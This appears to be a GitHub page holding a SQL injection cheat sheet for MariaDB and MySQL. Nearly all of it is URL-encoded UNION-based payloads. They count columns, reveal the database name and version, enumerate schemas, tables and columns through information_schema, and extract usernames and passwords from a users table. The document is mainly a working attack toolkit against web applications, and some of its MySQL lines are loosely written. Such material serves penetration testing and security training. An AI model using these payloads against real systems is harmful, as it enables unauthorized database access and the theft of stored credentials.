Skip to content

Latest commit

 

History

History
55 lines (26 loc) · 1.76 KB

File metadata and controls

55 lines (26 loc) · 1.76 KB

Mariadb

Query to know the total number of columns

'+order+by+1,2,3,4,5,6--+

Query to know the columns that can reflect data

'+union+select+1,2,3,4,5,6--+

Query to know database name

'+union+select+1,2,3,4,5,database()--+

All database name

query constructs a query against the information_schema.schemata table to retrieve the names of databases available in the system.

'+union+SELECT+concat(schema_name),2,3,4,5,6+FROM+information_schema.schemata+--+

Query to know database version

'+union+select+1,2,3,4,5,version()--+

Query to know table name

query attempts to retrieve table names within the current database by using DATABASE() to get the current database name and then filtering the information_schema.tables based on the obtained database name.

'+UNION+SELECT+concat(table_name),2,3,4,5,6+FROM+information_schema.tables+WHERE+table_schema=DATABASE()+--+

Query to extract columns from table (table name is case sensitive)

'+UNION+SELECT+concat(column_name),2,3,4,5,6+FROM+information_schema.columns+WHERE+table_schema=DATABASE()+AND+table_name='your_table_name'+--+

Query to extract data from rows

'+UNION+SELECT+1,2,3,Username,Password,6+FROM+Users+--+

'+UNION+SELECT+1,2,3,column_name,5,6+FROM+your_table_name+--

Mysql

union select all table_name,table_name from information_schema.TABLES where table_schema="seth"

"UNION SELECT concat(table_name),2,3 FROM information_schema.tables WHERE table_schema="seth" #

" union select table_name,column_name,2,3 from information_schema.columns where table_schema="seth" and table_name="users" #

" union select table_name,column_name,3 from information_schema.columns where table_schema="seth" and table_name="users" #

" UNION SELECT user,password,5+FROM+users+-